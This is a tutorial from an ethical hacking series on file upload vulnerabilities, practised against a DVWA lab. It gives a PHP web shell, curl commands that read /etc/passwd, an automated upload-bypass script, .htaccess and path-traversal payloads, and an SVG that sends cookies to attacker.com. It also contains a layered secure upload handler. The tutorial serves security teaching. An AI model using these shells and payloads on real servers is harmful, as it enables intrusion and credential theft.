Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons

What will I learn
- Why file uploads are one of the most dangerous features in web applications;
- Web shell uploads: getting command execution through image upload forms;
- Bypassing file type validation: extension tricks, MIME type spoofing, magic bytes;
- Content-Type manipulation and double extensions;
- Exploiting DVWA's file upload at all security levels;
- Defense: proper validation, isolated storage, and filename sanitization.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2 (Kali + DVWA);
- Basic PHP knowledge (enough to understand a one-line web shell);
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons (this post)
Solutions to Episode 19 Exercises
Exercise 1 -- Deserialization exploitation chain:
(a) File creation: __reduce__ returns (os.system, ('touch /tmp/pickle-pwned',))
Result: /tmp/pickle-pwned created. Verified with ls -la.
(b) Data exfiltration: __reduce__ returns (os.system, ('cp /etc/passwd /tmp/stolen',))
Result: /etc/passwd copied to /tmp/stolen. Full user list captured.
(c) Reverse shell: __reduce__ opens socket back to Kali on port 4444.
Result: interactive shell as www-data. Full server access.
All three payloads are ~100-200 bytes. They fit in any cookie or
POST parameter. The attack is completely invisible to the user.
The key insight: the __reduce__ method is an RCE primitive. Any Python function can be called with any arguments. The payload is tiny and the attack is invisible.
Exercise 2 -- Pickle analyzer:
import pickletools, base64, io
def analyze(b64_payload):
data = base64.b64decode(b64_payload)
output = io.StringIO()
pickletools.dis(data, output)
disasm = output.getvalue()
dangerous = ['os.system', 'subprocess', 'os.popen', 'exec',
'eval', 'builtins', '__import__']
print("[*] Pickle disassembly:")
print(disasm[:500])
for d in dangerous:
if d in disasm.lower():
print(f"\n[!] DANGEROUS: found '{d}' in pickle opcodes!")
# Benign dict: DICT/MARK/STRING opcodes only
# Malicious: GLOBAL 'os' 'system' + REDUCE opcodes visible
The key insight: pickle opcodes are inspectable without execution. In production, reject any pickle containing GLOBAL/REDUCE opcodes referencing dangerous modules.
Exercise 3 -- Before/after Flask app:
Before (pickle sessions): attacker crafts malicious cookie ->
server deserializes -> RCE. Attack succeeds.
After (JSON + HMAC): attacker modifies JSON -> HMAC validation fails.
Attacker crafts JSON with code -> json.loads() only produces data.
Both attacks fail independently. Defense in depth.
Learn Ethical Hacking (#20) - File Upload Vulnerabilities
Every vulnerability we've covered from episode 11 onwards exploits the boundary between user input and application logic. SQL injection (episodes 12-13) targets the database layer through text fields. XSS (episodes 14-15) targets the browser through text fields. CSRF (episode 16) abuses the browser's cookie behavior. Authentication bypass (episode 17) targets the identity check itself. SSRF (episode 18) turns the server into a proxy. Insecure deserialization (episode 19) turns data into executable code. In all of those cases, the attack vector is a string -- text in a form field, a URL parameter, a cookie value, a JSON blob.
File uploads are different. The attack vector is an entire file -- a binary blob with a name, an extension, MIME headers, magic bytes, and arbitrary content. The application has to make decisions about what the file IS (is it an image? a PDF? a spreadsheet?) and where to PUT it (in a temp directory? the web root? a cloud bucket?). Every one of those decisions is a potential vulnerability. And unlike text-based attacks where the worst case is usually data leakage or session hijacking, a successful file upload attack gives you remote code execution. You upload a web shell. The server executes it. You have a shell. Klaar.
De vijand uploadt zijn wapen via jouw eigen website.
The Simplest Web Shell
A PHP web shell in its most basic form:
<?php system($_GET['cmd']); ?>
One line. When this file is accessible on a PHP-enabled web server, visiting http://target/uploads/shell.php?cmd=whoami executes whoami on the server and returns the output. That's it. The system() function runs a shell command, and $_GET['cmd'] takes the command from the URL query string. The attacker controls the input, the server runs it as a system command, and the output comes back in the HTTP response.
More sophisticated shells exist -- c99 has a full file manager, database client, and network tools built in. b374k gives you a web-based terminal with syntax highlighting. weevely generates obfuscated PHP shells with encrypted communication channels. But understanding starts with this single line: user input reaches a system command function. Everything else is UI on top of that core idea ;-)
DVWA File Upload: Low Security
Navigate to DVWA > File Upload with security set to Low.
The page says "Upload an image." Here we go!
Create the web shell:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Upload shell.php through DVWA's upload form. It succeeds. DVWA tells you the file was uploaded to ../../hackable/uploads/shell.php.
Now visit:
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd"
# root:x:0:0:root:/root:/bin/bash ...
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=uname+-a"
# Linux metasploitable 2.6.24-16-server ...
You have command execution on the server. From an image upload form. The application asked for a picture and you gave it a weapon. The server stored it in a web-accessible directory, the web server recognized the .php extension and executed it, and now you control the machine.
Let's look at the vulnerable code to understand WHY this works:
<?php
// DVWA Low security -- NO validation at all
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo 'Your image was not uploaded.';
} else {
echo "{$target_path} succesfully uploaded!";
}
}
?>
Zero validation. No extension check. No content type check. No magic byte check. The filename is used as-is (with basename() to strip directory traversal, at least). Whatever you upload goes straight to hackable/uploads/ with its original filename. Since that directory is served by Apache, and Apache processes .php files, any PHP you upload executes as code. This is the simplest possible file upload vulnerability -- the application does literally nothing to validate the uploaded file.
Medium Security: Extension and MIME Filtering
At Medium security, DVWA adds some checks:
<?php
// DVWA Medium security -- checks Content-Type header only
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
$uploaded_type = $_FILES['uploaded']['type'];
if (($uploaded_type == "image/jpeg") || ($uploaded_type == "image/png")) {
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo 'Your image was not uploaded.';
} else {
echo "{$target_path} succesfully uploaded!";
}
} else {
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.';
}
}
?>
It checks $_FILES['uploaded']['type'] -- the Content-Type header sent by the browser. The fundamental problem: the browser sets this header, and the browser is controlled by the attacker. This is the equivalent of asking a burglar "are you a delivery person?" and trusting their answer.
Method 1: Change the Content-Type header
Using Burp Suite, intercept the upload request. Find the Content-Type: application/x-php line in the multipart form data and change it to Content-Type: image/jpeg. The server checks the header (which the CLIENT controls), not the actual file content.
# Or with curl -- force Content-Type to image/jpeg
curl -X POST "http://192.168.56.101/dvwa/vulnerabilities/upload/" \
-b "PHPSESSID=xxx; security=medium" \
-F "uploaded=@/tmp/shell.php;type=image/jpeg" \
-F "Upload=Upload"
The server sees image/jpeg in the Content-Type. It accepts the upload. The file is still PHP. It still executes. The validation checked a header that the attacker controls -- which is no validation at all. Having said that, this does stop casual users who just click the upload button normally. But anyone with Burp or curl (which is every attacker, ever) bypasses this in seconds.
Method 2: Double extension
Some filters check the file extension. But the definition of "the extension" depends on how you parse it:
cp /tmp/shell.php /tmp/shell.php.jpg # Bypass filters checking for .jpg
cp /tmp/shell.php /tmp/shell.jpg.php # Still executes as PHP on Apache
Apache processes .php regardless of additional extensions. The directive AddHandler application/x-httpd-php .php means any file with .php ANYWHERE in its extensions gets PHP processing. So shell.jpg.php passes a filter looking for .jpg in the filename but executes as PHP because Apache sees the .php extension. shell.php.jpg doesn't execute as PHP (Apache only cares about the final handler-matching extension), but it passes an extension blacklist that only checks the last extension.
The filter says "does the filename end in .jpg?" and sees shell.php.jpg -- yes it does. But Apache says "does the filename contain .php?" and sees shell.jpg.php -- yes it does. The filter and the web server disagree on what the file IS, and that disagreement is the vulnerability.
High Security: Magic Bytes and Extension Checks
At High security, DVWA gets serious:
<?php
// DVWA High security -- checks extension AND file content
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" ||
$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") &&
(getimagesize($_FILES['uploaded']['tmp_name']) !== false)) {
if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo 'Your image was not uploaded.';
} else {
echo "{$target_path} succesfully uploaded!";
}
} else {
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.';
}
}
?>
Now it checks the actual file extension (not just Content-Type) AND validates that the file content looks like an image using getimagesize(), which reads the file's magic bytes. This is significantly harder to bypass -- you can't just change a header.
Method: GIF magic bytes followed by PHP
# GIF magic bytes followed by PHP code
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > /tmp/evil.gif.php
The file starts with GIF89a (a valid GIF header -- the "magic bytes" that identify GIF files). getimagesize() reads those bytes and says "this is a GIF." But the web server processes it as PHP because of the .php extension. The PHP interpreter ignores everything before the <?php tag and executes the code.
Having said that, the High security DVWA specifically checks for .jpg/.jpeg extensions, not .gif.php. So this particular bypass won't work directly against DVWA High -- you'd need to combine it with a Local File Inclusion (LFI) vulnerability. Upload the file as evil.gif (passes extension check and content check), then use LFI to include it as PHP:
# Upload as evil.gif (passes all checks at High)
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > /tmp/evil.gif
# If the app has LFI, include the uploaded file:
curl "http://target/page.php?file=../../hackable/uploads/evil.gif&cmd=id"
# The PHP interpreter processes the included file -- GIF89a is treated as
# HTML output (garbage text), then <?php ... ?> executes
This is why vulnerabilities chain. A file upload restriction that is genuinely solid on its own becomes exploitable when combined with another seemingly minor vulnerability (LFI). The security of the system is not the security of any individual component -- it's the security of all components considered together ;-)
Automated Upload Exploitation
Once you understand the bypass techniques, you can systematize them:
#!/usr/bin/env python3
"""
File upload vulnerability tester.
Tests common bypass techniques against upload forms.
"""
import requests
TARGET = "http://192.168.56.101/dvwa/vulnerabilities/upload/"
COOKIES = {'PHPSESSID': 'your_session', 'security': 'low'}
SHELL = b'<?php echo "UPLOAD_SUCCESS"; system($_GET["cmd"]); ?>'
BYPASSES = [
# (filename, content_type, file_content)
('shell.php', 'application/x-php', SHELL),
('shell.php', 'image/jpeg', SHELL), # MIME type bypass
('shell.php.jpg', 'image/jpeg', SHELL), # Double extension
('shell.jpg.php', 'image/jpeg', SHELL), # Reverse double
('shell.pHp', 'application/x-php', SHELL), # Case variation
('shell.php5', 'application/x-php', SHELL), # Alt PHP extension
('shell.phtml', 'application/x-php', SHELL), # Another PHP ext
('shell.gif.php', 'image/gif', b'GIF89a' + SHELL), # Magic bytes
]
def test_upload(filename, content_type, content):
files = {'uploaded': (filename, content, content_type)}
data = {'Upload': 'Upload'}
resp = requests.post(TARGET, files=files, data=data,
cookies=COOKIES, timeout=10)
if 'succesfully uploaded' in resp.text.lower():
check_url = f"http://192.168.56.101/dvwa/hackable/uploads/{filename}"
check = requests.get(check_url, params={'cmd': 'echo PWNED'},
cookies=COOKIES, timeout=5)
if 'UPLOAD_SUCCESS' in check.text:
return 'EXPLOITABLE'
return 'UPLOADED (not executable)'
return 'BLOCKED'
print("[*] Testing file upload bypasses\n")
for filename, ctype, content in BYPASSES:
result = test_upload(filename, ctype, content)
status = '[+]' if 'EXPLOIT' in result else '[-]'
print(f" {status} {filename} ({ctype}): {result}")
This script tests 8 different bypass techniques and reports which ones upload, which ones execute, and which ones are blocked. Against DVWA Low, everything uploads and executes. Against Medium, MIME type bypass and magic byte techniques work. Against High, you need the LFI chain.
In a real pentest, you'd expand this significantly -- test .php3, .php4, .php7, .phar, .shtml, .asp, .aspx, .jsp, .config, .htaccess (Apache config overrides!), null byte injections (shell.php%00.jpg on older PHP versions), and OS-specific tricks like NTFS Alternate Data Streams (shell.php::$DATA on Windows IIS).
Path Traversal via Upload
Here's a bypass technique that doesn't get enough attention. Some upload forms let you control the filename, and the application uses that filename to construct the storage path. If the application doesn't sanitize ../ sequences, you can write the file anywhere on the filesystem:
# Instead of uploading "shell.php", upload with filename:
../../../var/www/html/shell.php
# Or if the app strips "../" once (common naive fix):
....//....//....//var/www/html/shell.php
# After one round of stripping "../", this becomes: ../../../var/www/html/shell.php
# Or use URL encoding:
%2e%2e%2f%2e%2e%2fvar%2fwww%2fhtml%2fshell.php
This doesn't require the upload directory itself to be web-accessible. The attacker writes the file to a DIFFERENT directory that IS web-accessible. Even if the application stores uploads in /var/uploads/ (outside the web root -- which is the correct practice), path traversal in the filename lets the attacker escape that directory and write to /var/www/html/ where Apache will serve and execute it.
The fix is dead simple: never use the original filename. Generate a random UUID, map the extension from the detected content type, and store it. The orginal filename can be kept in a database for display purposes but should never be used as an actual filesystem path.
Beyond PHP: Other Upload Attacks
File upload attacks aren't limited to PHP web shells:
ASP/ASPX on IIS: Upload shell.aspx with an ASP.NET web shell. IIS processes .aspx files the same way Apache processes .php -- any ASPX file in a web-accessible directory executes as server-side code.
JSP on Tomcat: Upload shell.jsp. Metasploitable2 has Tomcat running on port 8180 with default credentials (tomcat:tomcat) for the management panel. The manager app has a WAR file upload feature -- upload a WAR containing a JSP shell and Tomcat deploys it as a web application. You go from "I have Tomcat manager credentials" to "I have a shell" in one upload.
SVG with embedded JavaScript: SVG files are XML-based images that can contain <script> tags. Upload evil.svg and if the application serves it with Content-Type: image/svg+xml (which is correct for SVGs), the browser executes the JavaScript when someone views the image. This is stored XSS through an image upload form -- the application thinks it accepted a harmless image, but it's actually serving an XSS payload to every visitor who views it.
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
HTML files: Upload phishing.html -- now you're hosting a phishing page on the target's own domain. The URL looks completely legitimate (https://legitimate-company.com/uploads/login.html) because it IS on the legitimate domain. Browser security indicators show the padlock. The URL is correct. The SSL certificate is valid. And the page steals credentials.
ZIP bombs: A 42-kilobyte ZIP file that decompresses to 4.5 petabytes (that's 4,503,599,627,370,496 bytes). If the server automatically extracts uploaded archives (for virus scanning, content indexing, or "extract and process" features), a zip bomb consumes all available disk space and crashes the server. This is denial of service through a tiny file upload.
Polyglot files: Files that are simultaneously valid in multiple formats. A file can be a valid JPEG AND a valid PHP file -- it passes image validation but contains executable PHP code after the image data. Building polyglots is an art form in the security community, and tools like polyglotgen automate the process.
The .htaccess Attack
On Apache servers, .htaccess files modify server configuration per-directory. If you can upload a .htaccess file to the uploads directory, you can tell Apache to execute ANY file type as PHP:
# .htaccess -- uploaded to the /uploads/ directory
AddType application/x-httpd-php .gif
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .png
Now every .gif, .jpg, and .png file in that directory is processed as PHP. Upload a "perfectly valid" GIF image that contains PHP code in its comment section (remember the GIF89a technique?), and Apache executes it. The extension whitelist is meaningless because you redefined what extensions mean.
This attack requires that Apache has AllowOverride enabled for the upload directory (which it often does by default), and that the upload form doesn't specifically blacklist .htaccess as a filename. Many upload validators check for .php and friends but never think about configuration files.
The AI Slop Angle
This continues our thread from episodes 6, 12, 14, 16, 17, 18, and 19. AI-generated file upload code consistently makes the same mistakes:
Uses the original filename:
path = os.path.join(UPLOAD_DIR, file.filename)-- this is path traversal waiting to happen. The user controlsfile.filename, and../sequences let them write anywhere. The AI sees "save the file with its name" and doesn't consider adverserial filenames.Checks Content-Type header instead of file content: The header is set by the client. Checking it is like checking the label on a package instead of opening it. Trivially spoofed with curl or Burp.
Stores files in the web root:
UPLOAD_DIR = '/var/www/html/uploads/'-- directly accessible and executable by the web server. The AI picks the most convenient directory, not the safest one.No size limits: An attacker uploads a 10 GB file and fills the disk. Or uploads thousands of small files and exhausts inodes. The AI generates code that handles the happy path (user uploads a reasonable photo) and ignores the adversarial path.
No metadata stripping: EXIF data in images can contain GPS coordinates (privacy leakage), XSS payloads in text fields, and even embedded thumbnails that are different from the displayed image. The AI doesn't strip metadata because the functional requirement is "store the image" not "safely store the image."
The pattern we've seen across 9 episodes now is always the same: AI generates code that WORKS for the intended use case but doesn't consider what happens when the input is adversarial. The file upload feature works perfectly when users upload actual images. It falls apart when someone uploads a PHP file pretending to be an image ;-)
The Defense
Proper file upload handling requires multiple layers. Each layer independently blocks a different attack technique:
import os
import uuid
import magic # python-magic library -- detects file type from content
from PIL import Image
ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif'}
MAX_SIZE = 5 * 1024 * 1024 # 5MB
UPLOAD_DIR = '/var/uploads/' # OUTSIDE web root -- critical!
def safe_upload(file_storage):
"""Securely handle file upload with five defense layers."""
# Layer 1: Check file size FIRST (prevents DoS before processing)
file_storage.seek(0, 2)
size = file_storage.tell()
file_storage.seek(0)
if size > MAX_SIZE:
return None, "File too large"
if size == 0:
return None, "Empty file"
# Layer 2: Check ACTUAL content type from file bytes (not the header)
# python-magic reads magic bytes from file content -- this is what
# the `file` command uses on Linux. It cannot be spoofed by changing
# the Content-Type header.
content = file_storage.read(2048)
file_storage.seek(0)
detected_type = magic.from_buffer(content, mime=True)
if detected_type not in ALLOWED_TYPES:
return None, f"Invalid file type: {detected_type}"
# Layer 3: Generate random filename (NEVER use the original)
# This blocks path traversal, extension tricks, and filename-based
# attacks in one move. The original name is discarded entirely.
ext = {'image/jpeg': '.jpg', 'image/png': '.png', 'image/gif': '.gif'}
safe_name = f"{uuid.uuid4().hex}{ext[detected_type]}"
# Layer 4: Save OUTSIDE web root
# Even if somehow a PHP file gets through all checks, it can't
# execute because the web server doesn't serve files from this dir
path = os.path.join(UPLOAD_DIR, safe_name)
file_storage.save(path)
# Layer 5: Re-encode the image (strips metadata AND embedded payloads)
# Opening with Pillow and re-saving produces a clean image with
# no EXIF, no embedded PHP, no XSS in comment fields
try:
img = Image.open(path)
img.save(path)
except Exception:
os.remove(path)
return None, "File is not a valid image"
return safe_name, None
Key principles:
- Never trust the Content-Type header -- detect the type from file content using
python-magic - Never use the original filename -- generate a random UUID. Not a hash of the original name (still predictable), not a timestamp (guessable), an actual UUID
- Store outside web root -- uploads should NEVER be directly accessible or executable by the web server
- Serve through a handler -- when displaying uploaded images, use a download endpoint that explicitly sets
Content-Type: image/jpegandContent-Disposition: inline-- never let the web server guess the type from the extension - Re-encode the image -- Pillow's open-and-save cycle strips all metadata, destroys embedded payloads, and validates that the file is actually a parseable image
- Limit file size -- prevent denial of service through large uploads
Having said that, even this isn't perfect. Some exotic image format vulnerabilities can survive re-encoding (ImageTragick, the 2016 ImageMagick RCE vulnerability, exploited image processing libraries themselves). But it stops 99% of file upload attacks, and the remaining 1% requires finding vulnerabilities in the image processing library itself -- which is a much higher bar than "upload a PHP file and visit it."
Putting It All Together: The File Upload Attack Methodology
When you find a file upload feature during a pentest:
- Upload a normal file first -- confirm the feature works and note where files are stored
- Try uploading a PHP shell directly --
.php,.php5,.phtml,.phar. If it works, you're done (Low security scenario) - Intercept with Burp and modify Content-Type -- keep the PHP content, change the header to
image/jpeg - Try double extensions --
shell.jpg.php,shell.php.jpg,shell.php%00.jpg(null byte) - Try magic bytes -- prepend
GIF89aor valid JPEG headers before your PHP code - Try case variations --
.pHp,.PhP,.PHP-- some filters are case-sensitive - Try alternative extensions --
.php3,.php4,.php7,.phtml,.phar,.shtml - Try
.htaccessupload -- redefine what extensions get PHP processing - Test for path traversal --
../../../var/www/html/shell.phpas the filename - Check for LFI chaining -- if you can upload a file but can't execute it directly, look for a Local File Inclusion vulnerability to include your uploaded file as code
Not every technique works on every target. The point of systematic testing is to find which one DOES work. Real-world upload forms use a patchwork of defenses -- some check extensions, some check Content-Type, some check magic bytes, some do all three. But almost none do ALL of the defense layers we covered, and finding the gap in their validation is the attacker's goal.
We've now covered the major web application vulnerability classes from episode 11 through this episode: injection attacks (SQL injection, XSS), trust-boundary attacks (CSRF, SSRF, authentication bypass), data-format attacks (insecure deserialization), and now input-type attacks (file uploads). Each one exploits a different aspect of how web applications handle untrusted input. Modern web applications don't just accept text input through forms -- they expose APIs that consume structured data, enforce business rules that can be subverted, and interact with client-side code that can be manipulated in ways the developers never anticipated.
Exercises
Exercise 1: Exploit DVWA's file upload at Low security. Upload a PHP web shell, then use it to: (a) list all files in the web root, (b) read the DVWA database configuration file (/var/www/dvwa/config/config.inc.php), (c) list all running processes. Then try at Medium security using Content-Type bypass. Document which techniques work at each level. Save your findings in ~/lab-notes/file-upload-attacks.md.
Exercise 2: Write a Python script called upload_tester.py that systematically tests file upload bypass techniques. The script should try at least 8 methods (the ones from this episode) and report which ones: (a) uploaded the file, (b) made it accessible, (c) achieved code execution. Test against DVWA at each security level. Save as ~/pentest-tools/upload_tester.py.
Exercise 3: Build a secure file upload handler in Flask that implements ALL five defense layers from this episode: content-type detection via python-magic, random UUID filenames, storage outside web root, explicit Content-Type on download, and file size limits. Then attempt all bypass techniques against your handler. Document which attacks are blocked and why. Save everything in ~/upload-lab/.